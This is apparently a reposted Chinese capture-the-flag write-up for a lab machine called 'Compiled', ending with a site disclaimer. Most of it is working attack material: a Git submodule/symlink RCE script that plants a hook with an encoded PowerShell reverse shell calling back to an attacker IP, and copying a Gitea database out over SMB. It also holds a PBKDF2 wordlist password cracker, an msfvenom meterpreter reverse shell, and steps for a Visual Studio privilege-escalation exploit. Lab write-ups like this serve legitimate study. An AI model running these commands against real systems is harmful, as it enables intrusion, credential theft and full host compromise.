信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.11.26 | TCP:3000,5000 |
$ nmap -p- 10.10.11.26 --min-rate 1000 -sC -sV -Pn
PORT STATE SERVICE VERSION
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Thu, 07 Nov 2024 17:16:09 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5234
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Compiled - Code Compiling Services</title>
| <!-- Bootstrap CSS -->
| <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
| <!-- Custom CSS -->
| <style>
| your custom CSS here */
| body {
| font-family: 'Ubuntu Mono', monospace;
| background-color: #272822;
| color: #ddd;
| .jumbotron {
| background-color: #1e1e1e;
| color: #fff;
| padding: 100px 20px;
| margin-bottom: 0;
| .services {
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=11/7%Time=672CF5DA%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,1521,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
SF:\x20Python/3\.12\.3\r\nDate:\x20Thu,\x2007\x20Nov\x202024\x2017:16:09\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x205234\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\
SF:x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
SF:x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Compiled\x20-\x20Code\
SF:x20Compiling\x20Services</title>\n\x20\x20\x20\x20<!--\x20Bootstrap\x20
SF:CSS\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"https
SF:://stackpath\.bootstrapcdn\.com/bootstrap/4\.5\.2/css/bootstrap\.min\.c
SF:ss\">\n\x20\x20\x20\x20<!--\x20Custom\x20CSS\x20-->\n\x20\x20\x20\x20<s
SF:tyle>\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20Add\x20your\x20custom\x20
SF:CSS\x20here\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Ubuntu\x20Mono
SF:',\x20monospace;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backg
SF:round-color:\x20#272822;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20color:\x20#ddd;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\.jumbotron\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20background-color:\x20#1e1e1e;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20padding:\x20100px\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20margin-bottom:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0}\n\x20\x20\x20\x20\x20\x20\x20\x20\.services\x20{\n\x20")%r(RTSPReque
SF:st,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<hea
SF:d>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x2
SF:0\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<
SF:h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
SF:code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x2
SF:0request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x
SF:20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\
SF:n</html>\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Git-RCE && Code Compile
http://10.10.11.26:3000/
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图](https://img.4awl.net/img/bf/5277529edf5ee4213b18aca9e802c6.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图")
http://10.10.11.26:5000/
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图1](https://img.4awl.net/img/dd/687dc617beab6ea85257e4a98c4aed.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图1")
http://10.10.11.26:3000/richard/Calculator
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图2](https://img.4awl.net/img/38/369bf41a869de14b8f07867c8703c0.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图2")
https://amalmurali.me/posts/git-rce/
新建repo1,repo2
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图3](https://img.4awl.net/img/c6/20a6e83a8980d31ef137d99d08adcc.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图3")
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图4](https://img.4awl.net/img/53/50959d85481834a803d7dac1f9b76a.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图4")
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图5](https://img.4awl.net/img/ac/2c4a0c3b6bc39df166c94e4c41cf47.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图5")
#!/bin/bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
rm -rf nothing
rm -rf toSeeHere
git clone http://10.10.11.26:3000/test/repo1.git
cd repo1
mkdir -p y/hooks
cat >y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANwA1ACIALAAxADAAMAAzADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
git clone http://10.10.11.26:3000/test/repo2.git
cd repo2
git submodule add --name x/y "http://10.10.11.26:3000/test/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m "add-symlink"
git push
$ ./rev.sh
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图6](https://img.4awl.net/img/ab/3d12c2b0c355b1b42e8ee0b44f12de.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图6")
http://10.10.11.26:5000/
编译代码
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图7](https://img.4awl.net/img/d5/04146062e884e117fe7ccc5dece83f.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图7")
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图8](https://img.4awl.net/img/00/5d44b7fe9d793745cee7107b6f0fae.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图8")
$ impacket-smbserver share /tmp/ -smb2support
PS C:\Users\Public\Downloads> cp 'C:\\Program Files\Gitea\data\gitea.db' \\10.10.16.75\share
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图9](https://img.4awl.net/img/71/6be9535e5cce447644c51b60a51862.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图9")
import hashlib
import binascii
def derive_pbkdf2_key(candidate, salt, rounds=50000, key_length=50):
"""
Derive a key based on PBKDF2-HMAC-SHA256.
"""
return hashlib.pbkdf2_hmac(
'sha256',
candidate.encode('utf-8'),
salt,
rounds,
key_length
)
def attempt_password_crack(wordlist_path, target_hash, salt_value, rounds=50000, key_length=50):
"""
Attempt to match PBKDF2 hash using a wordlist file.
"""
target_hash_bytes = binascii.unhexlify(target_hash)
try:
with open(wordlist_path, 'r', encoding='utf-8') as wordlist:
for entry in wordlist:
candidate_password = entry.strip()
derived_key = derive_pbkdf2_key(candidate_password, salt_value, rounds, key_length)
if derived_key == target_hash_bytes:
print(f"Password match found: {candidate_password}")
return candidate_password
except FileNotFoundError:
print("Wordlist file not found. Please check the path.")
return None
print("No matching password found.")
return None
salt_value = binascii.unhexlify('227d873cca89103cd83a976bdac52486')
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'
wordlist_path = '/usr/share/wordlists/rockyou.txt'
attempt_password_crack(wordlist_path, target_hash, salt_value)
$ python3 dec.py
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图10](https://img.4awl.net/img/5f/1fc6fac95837243b20a34f5a144171.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图10")
$ evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图11](https://img.4awl.net/img/3c/04fd550c33200ebae1d7c21dc420aa.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图11")
User.txt
209380d1c60e610f2cef026e0c237404
Privilege Escalation && Visual Studio 2019
https://github.com/Wh04m1001/CVE-2024-20656
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.75 LPORT=4444 -f exe -o reverse_shell.exe
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.75
set LPORT 4444
run
搜索VSDiagnostics.exe
> dir C:\VSDiagnostics.exe /s /p
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图12](https://img.4awl.net/img/2e/d0f176b3f5831b8100b2e843b6fd36.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图12")
将VSDiagnostics.exe路径替换
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图13](https://img.4awl.net/img/79/48d723d9e91eadca4e923766aaf2da.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图13")
启动载荷路径
CopyFile(L"C:\\Users\\Emily\\Downloads\\reverse_shell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图14](https://img.4awl.net/img/59/ee528ca82cef94783f03a0cda944be.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图14")
编译上传
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图15](https://img.4awl.net/img/44/95ff74ac12d08c4efc16dcda1a1dfd.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图15")
https://github.com/antonioCoco/RunasCs
PS C:\Users\Emily\Downloads> cp \\10.10.16.75\share\RunasCs.exe .
PS C:\Users\Emily\Downloads> cp \\10.10.16.75\share\Expl.exe .
PS C:\Users\Emily\Downloads> copy \\10.10.16.75\share\reverse_shell.exe .
PS C:\Users\Emily\Downloads> ./RunasCs.exe emily 12345678 ./Expl.exe
![[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图16](https://img.4awl.net/img/4e/d8b3d5291af4c22a059a3498d79c84.jpg "[Meachines] [Medium] Compiled Git-RCE+Visual Studio 2019权限提升插图16")
Root.txt
4910be87423e9b471cc4945f1e5fed7f
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
